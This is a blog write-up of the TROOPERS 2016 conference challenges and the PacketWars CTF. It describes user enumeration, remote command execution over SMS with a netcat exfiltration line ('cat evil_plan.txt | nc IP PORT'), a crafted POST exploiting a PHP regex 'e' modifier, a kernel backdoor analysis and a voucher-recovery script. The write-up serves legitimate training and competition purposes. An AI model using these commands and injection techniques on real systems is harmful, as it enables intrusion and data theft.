TROOPERS 2016 Challenge & PacketWars writeups

I attended the TROOPERS 16 IT security conference in Heidelberg (Germany) this week and want to share the solutions to the local CTF-style challenges as well as the PacketWars CTF.

First of all I want to thank the organizers for this mind-blowing, with-love-made, awesome-whatever conference! My student motivation letter was accepted and this was my first time there. I'm looking forward to #TR17 ;)

The challenges were released on the C.E.R.T:

Every challenge was worth one token. Three tokens were merged into one ticket for the tombola.

Inspect Recruitment

You got one token after talking to 'Heimo'. This was the 'workshop' guy next to the escalators.

Your beloved Ones

One token was awarded for writing a postcard to someone. Troopers postcards were available at the registration desk.

Satellites

I didn't solve this challenge, but you got a token for participating in the 10k run.

Something Smells Fishy

You had to hack the Fshbwl.ru login page. The first bug was user enumeration: When a correct username was entered, Wrong username or password was returned, Unknown user otherwise.
With some simple guesses I found an admin account. The password snowball could be guessed by remembering the cat's name from the keynote video.
A token was displayed after logging in with admin:snowball.

Gadgeteer

This one was fun. You were given some electronic parts and your task was to solder an USB condom. It cuts the data lines of the USB port and thus allows you to charge your phone on untrusted devices/chargers.

If you did everything right and your condom passed the multimeter test, you earned a token.

Another Kind of Conversation

This was another fun challenge. TROOPERS had its own GSM network, what made communicating with other troopers a smooth experience.
A so called 'Dr. Cyber' had two services running on 999 and 666.
Messaging the 999 number something resulted in a short answer: What?
The 666 was more interesting. After playing around for a while, a RCE bug was indentified.

Simply sending a message with a command like ls returned the first 160 characters (SMS length limit) of its output and revealed an evil_plan.txt file.
On day one, the vulnerable system allowed outgoing connections, so that cat evil_plan.txt | nc IP PORT returned the whole file. Besides junk data there was one sentence: Ask me for more 'details'. Sending details to 999 returned a token.

On day two I wanted to play around with the RCE a bit more and try to spawn a reverse shell, because typing your payloads on a mobile is annoying (especially with auto correct -.-). Unfortunately the outgoing traffic was blocked now. Another way to get the file's contents is dd if=./evil_plan.txt bs=1 skip=X where X = y*160 and y positive integer.

Quartermastery

The RaumZeitLabor had pad locks and lock picking sets on-site. Once you opened a lock without a key, you were given a token. I really enjoy(ed) lock picking.

Employee Survey

I guess we all have the same opinion about the conference. Bringing pros and cons on a piece of paper and handing in the feedback form at the registration desk earned you another token.

GSM Terminal Pairing

You could pair your mobile with the token submission terminals. After entering the TAN you received a 'test token'. Sending it to 1111 gave one more point.

Up To Date

One more web challenge. This time it was fshbwl's newsletter. After subscribing it you received a confirmation email. A closer look at the SMTP headers revealed an additional X-Token header.

Fishing for Tokens

After making a donation to the Socks & Soup e.V you had a 50% chance of fishing a valid token. You could find them behind the registration desk next to the pillar. I made two donations :)

The Healer

I really loved the idea behind this one. On day two, everyone had finally an electronic badge.

At some point we were notified that the names got mixed up. What happened is, that one had another troopers' name on the badge. You had to find the person and go to the "BadgeWizard" to "repair" the badge. For successfully helping to fix the database one token was rewarded. I was lucky enough that my person had been sitting a row in front of me during the keynote and stood five meters next to me when this challenge was announced.

Arms Race

If you participated in the PacketWars CTF, you received a token.
This was my first PacketWars event. I was part of the squareroots team, but it wasn't the actual squareroots team (except for Stean, Komasa & Manuel?), because it was limited to attendees, so Jed, Bodo, and me filled the gap.
The CTF started right after the shared dinner on day one. Find the briefing here. The whole network was IPv6 only:

  • C10X::/64: Team X's network
  • C200::/64: Target network

There were three phases and after every phase all necessary information for the next one were announced. However, time was the most critical resource during the CTF. The time pressure was quite high imho.

Phase 1

In my opinion we failed this one a bit, because some of our team members didn't have the route to the C200::/64 network configured. So we lost some time fixing this.
Afterwards we used a simple nmap ping host discovery scan to identify all machines on the target network. In retrospect this wasn't the best idea, but it worked.

The sample solution used an AXFR against the dns server ( C200::5) to find all targets.

Phase 2

We were given all six targets ( C200:10, C200:20, ... , C200:60). All targets except :30 didn't have any open ports or interesting things running. So we focused on the web interface where one could upload a file in a specific format:

FILENAME: <filename>
COMMENT: <comment>
CONTENT: <base64 content>

The form had a select field with ASCII ( type='') and UTF-8 ( type='u') options. A POST request looked like this:

POST /index.php HTTP/1.1
Host: [c200::30]
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

textdata=FILENAME%3A+abc%20abc%0D%0ACOMMENT%3A+'"hi%0D%0ACONTENT%3A+YWJjCg%3D%3D&type=u&act=analyze

The response was:

</h2></br>Analysis Result for file abc abc
</br></br></br>Detailed analysis file type:  ASCII text
</br></br>Your file is secure! We know it. Because we are cyber!</br></br></br></br>  

Modifying the type parameter lead to the following error message:

ERROR: PCRE does not support flag 'i'</h2></br>Analysis Result for file abc
</br></br></br>Detailed analysis file type:  ASCII text
</br></br>Your file is secure! We know it. Because we are cyber!</br></br></br></br>    

So it was some kind of regular expression and we had control over the regex modifiers.
What confused the hell out of me was that I wanted to verify this by setting modifiers like i for ignore-case or m for multiline. But as you can see above, it didn't work and that prevented me to test the e modifier.

The sample solution was to use the e modifier to execute a specially crafted file name as a shell command. This phase also allowed for total pwnage by abusing the backup cronjob and its globbing to gain root privileges.

Phase 3

All teams were given credentials to the vulnerable machine. The task was to identify and analyze the backdoor. After logging in I had a look at the .bash_history and found this interesting line: nc -v -n -l -p 4444 > fshbwl.ko
Finding the file was easy:

root@fishbowl:~/scripts# find / -type f -iname '*fshbwl.ko*'
/lib/modules/3.16.0-4-amd64/kernel/arch/x86/kernel/fshbwl.ko

It was loaded with a simple insmod in the /etc/rc.local file.

We downloaded the file and I threw radare2 at it, but Komasa had an advantage by using IDA's decompiler. He quickly got the gist of this kernel based backdoor.

The sample solution matched with our first steps. Packets had to have a specific port (31337) and IP address to pass the filter. Furthermore, filtered packets could lead to a buffer overflow.

Suprisingly we somehow managed to win this CTF. The prize was an invitation to day-con 2016.

10% Off

This one was a bit trickier and the last challenge I solved. A GET request to the vulnerable Voucher API returned an incomplete JSON dump with 3000 invalid tokens.
I noticed that the first 'row' wasn't really random, but I didn't pursue this idea at first. Instead, I tried to find other vectors like undocumented parameters and/or request methods and/or endpoints. Another idea was to see if there's a subset of valid flags in the superset of multiple api calls.
A fellow trooper hinted at statistical analysis. The final trick was to find the most common figure in every 'row' of all tokens. I wrote a quick & dirty python script during the last talk:

import json
import collections
import requests

def get_data():
	r = requests.get('https://fshbwl.ru/api/v2/getVoucher/')
	return r.text


def split_tokens(token):
	token = token.replace("-","")
	return list(token)

def get_row(tokens, index):
	a = []
	for i in range(0, len(tokens) -1):
		a.append(tokens[i][index])
	return a

def get_most_common(row):
	counter=collections.Counter(row)
	return counter.most_common(1)

def create_new_token(token):
	return str(token[0][0])

data = get_data()

data = data.replace(",\nWARNING: SQL Error (ARRAY_REFERENCE_OUT_OF_BOUNDS)","]}")

json_data = json.loads(data)
tokens = json_data['voucher']


s_tokens = map(split_tokens, tokens)

new_token = []

for i in range(0,20):
	try:
		row = get_row(s_tokens, i)
		mc = get_most_common(row)
		new_token.append(mc)
		#print i, mc
	except:
		print "error", i
tk = map(create_new_token, new_token)
d = ''.join(''.join((tk[i:i+4])) + "-" for i in xrange(0,len(tk),4) )[:-1]
print d

The resulting numbers represent a valid token.

Unfortunately, the deadline wasn't communicated. I was told that it ends with the last talk, but my submission at 4:45 pm was rejected. It also seemed to sort the submission date descending (newer subs first/ last to solve) instead of ascending (older subs first/ first to solve). That left me on the 4th place instead of the 2nd.

All in all a well done local CTF and a fun PacketWars game!

-=-